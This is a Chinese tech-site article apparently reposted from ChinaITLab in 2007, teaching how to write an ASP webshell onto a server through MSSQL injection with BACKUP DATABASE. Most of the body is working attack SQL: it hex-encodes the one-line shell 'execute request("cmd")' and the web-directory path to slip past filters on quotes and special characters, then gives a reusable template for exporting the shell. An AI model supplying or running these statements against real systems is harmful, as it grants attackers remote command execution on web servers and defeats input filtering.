科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道应用软件Mssql Backup a Shell 突破特殊字符

Mssql Backup a Shell 突破特殊字符

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文讲解的是Mssql Backup a Shell 突破特殊字符

作者:ChinaITLab 来源:ChinaITLab 2007年9月15日

关键字: shell 特殊字符 软件

  • 评论
  • 分享微博
  • 分享邮件

1.插入数据

mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:

use pubs; <===使用数据哭pubs

create table cmd (str image); <===建立个表cmd 一个属性为image的列

insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%>

select * from cmd; <===查询输出cmd里的所有数据

查询输出str为:

0x3C256578656375746520726571756573742822636D642229262222253E

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:

use pubs

create table cmd (str image)

insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)

select * from cmd

查询输出str为:

0x3C256578656375746520726571756573742822636D642229262222253E

为什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。

2.导出路径

常规的插入数据后导出webshell的语句为:

backup database model to disk='g:\wwwtest\l.asp';

显然导出路径里包涵了' : \等,我们照样可以使用hex编码来突破:

declare @a sysname

select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码

backup database pubs to disk=@a

运行查询,可以成功导出webshell。

3.小结

结合1,2我们可以得到完整的导出webshell的sql语句格式为:

use model

create table cmd (str image)

insert into cmd(str) values(0x***********)

declare @a sysname select @a=0x********** backup database pubs to disk=@a

其实使用hex等编码的方法,在angel的文章〈饶过'(单引号)限制继续射入〉里提过,我只是照搬而已,你也可以搬到其他地方去拉:

查看本文来源

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章